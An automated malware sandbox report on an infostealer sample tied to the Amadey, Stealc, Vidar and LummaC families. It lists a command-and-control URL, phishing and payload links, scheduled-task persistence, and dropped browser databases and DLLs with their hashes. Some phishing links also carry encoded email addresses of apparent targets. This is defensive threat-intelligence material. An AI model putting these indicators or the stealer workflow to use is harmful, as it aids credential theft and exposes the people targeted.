Classification:	mal100.troj.spyw.evad.winEXE@72/300@20/24
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 64.233.166.84, 142.250.185.110, 34.104.35.123, 192.229.221.95, 93.184.221.240, 142.250.184.227, 172.217.16.202, 216.58.206.74, 142.250.185.234, 142.250.185.138, 142.250.185.74, 142.250.186.74, 216.58.212.170, 142.250.186.106, 172.217.23.106, 142.250.185.170, 142.250.184.234, 142.250.186.138, 142.250.185.106, 142.250.185.202, 172.217.18.10, 142.250.186.170, 172.217.16.206, 204.79.197.239, 13.107.21.239, 13.107.6.158, 204.79.197.203, 13.107.42.16, 98.64.238.3, 2.19.126.145, 2.19.126.152, 20.190.159.2, 20.190.159.68, 40.126.31.71, 40.126.31.67, 20.190.159.4, 20.190.159.0, 20.190.159.73, 20.190.159.23, 88.221.110.195, 88.221.110.179, 2.23.209.189, 2.23.209.181, 2.23.209.185, 2.23.209.135, 2.23.209.177, 2.23.209.187, 2.23.209.176, 2.23.209.182, 2.23.209.179, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.55, 2.23.209.49, 2.23.209.48, 2.23.209.52, 2.23.209.57, 2.23.209.54, 2.23.209.50, 2.23.209.51, 2.23.209.53, 2.19.126.151, 2.19.126.157, 172.205.80.4
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, www.tm.lg.prod.aadmsa.akadns.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, login.live.com, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, www.tm.v4.a.prd.aadg.akadns.net, prod-atm-wds-edge.trafficmanager.net, prod-agic-ne-8.northeurope.cloudapp.azure.com, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.
Execution Graph export aborted for target DocumentsCGDGCFBAEG.exe, PID 6580 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8348 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8356 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:35:32	API Interceptor	114x Sleep call for process: file.exe modified
06:37:02	API Interceptor	41x Sleep call for process: skotes.exe modified
12:35:53	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.65.39.70
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.53
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	52.222.169.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.32.110.123
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	hmips.elf	Get hash	malicious	Mirai	Browse	52.240.43.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
EDGECASTUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	152.195.19.97
	https://www.google.com/url?sa=https://r20.rs6.net/tnt.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/safetyworksolutions.com%2Fkese%2F7980321465/eW9vbmp1LmNob0Bib2xsb3JlLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	ee0b6b037b16b54632b6b37d1fb72727.eml	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://www.google.com/url?sa=https://r20.rs6.net/tnt.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/safetyworksolutions.com%2Fpklxg%2F1769066015/ai5taWNoYWVsLm1hcnNoQG92ZXJsYWtlaG9zcGl0YWwub3Jn	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://ambir.com/all-ambir-drivers/	Get hash	malicious	Unknown	Browse	192.229.233.34
	Benefits_&_Bonus_for_Dan.banks#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	152.199.21.175
AMAZON-02US	LauncherPred8.3.37Stablesetup.msi	Get hash	malicious	Remcos	Browse	52.219.84.168
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	185.166.143.50
	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	0xh0roxxnavebusyoo.arc.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.245.113.126
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	http://51279576bd.nxcli.io	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://tipicopisco.com/go/bebek.txt	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	LauncherPred8.3.37Stablesetup.msi	Get hash	malicious	Remcos	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://jerseysurffilmfestival.com/wakena.zip	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFBAAFHDHCBGCAKFHDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DAAECAFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650854300038865
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMvSAELyKOMq+8yC8F/YfU5m+OlTLVum5:Bq+n0Jv9ELyKOMq+8y9/Owi
MD5:	49849F973B8BE24A8B3EB1091FBCD99C
SHA1:	F166D76368AAAF159A73AC861EDDD590A216B865
SHA-256:	30A3977C42D40164DF97582787EB10342D00C280592B34A9469B7E470B5E8349
SHA-512:	ACDA99581A1DF7E3F04505887C9C2DC2ADD40A6F8B722297BCF6BCB21BAF0DB419BA2C1C40E9E6472C030CF8E6207CB8D0268028A23839976EFAD323D1085142
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAFHDBGHJKFIDHJJJEBKEBGIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAKFHIDAKFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDHDGCBFBKECBFHCAFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHJJECB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKFBFIJJECGCAAAFCBGHDGCGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
